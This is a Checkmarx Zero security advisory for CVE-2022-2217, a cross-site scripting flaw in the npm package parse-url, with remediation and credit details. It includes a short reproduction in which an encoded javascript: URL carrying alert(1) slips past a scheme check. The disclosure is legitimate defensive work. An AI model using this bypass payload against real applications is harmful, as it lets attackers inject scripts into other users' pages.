--- title: "CX-2022-5032" date: "2022-09-12T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5032/" --- # CX-2022-5032 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) CVE-2022-2217 **Published:** Sep 12, 2022 CWE-79 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 6.1 Medium Severity cross javascript js npm scripting site XSS @ @amammad Reported by Checkmarx Zero Details Overview ## Summary Cross-site Scripting (XSS) in parse-url. ## Product parse-url prior to version 6.0.0 and in 6.0.2. ## Impact Attackers with this vulnerability can easily place any malicious JS code on webpages ## Steps to reproduce ```const const parseUrl = require("parse-url"); const url = parseUrl('javu000Dascript://%0aalert(1)'); console.log(url) const server = http.createServer((request, response) => { response.writeHead(200); if (url.scheme !== "javascript" && url.scheme !== null) { response.end("Wowww!" ); } else{ response.end("Nooo!"); } }); server.listen(80, "127.0.0.1",function(){ console.log("http://"+this.address().address+":"+this.address().port); }); ``` ## Remediation Update parse-url to version 6.0.0 or 6.0.3. ## Credit This issue was reported by @amammad through huntr.dev. ## Resources 1. [21c72ab](https://github.com/IonicaBizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3) 2. [Disclosure](https://huntr.dev/bounties/4e046c63-b1ca-4bcc-b418-29796918a71b/) 3. [Advisory](https://github.com/advisories/GHSA-q6wq-5p59-983w) 0 Medium Severity CVSS v3.1 Score 6.1 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Changed - Confidentiality Impact: Low - Integrity Impact: Low - Availability Impact: None Advisory Timeline1. Disclosed Jun 7, 2022 ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)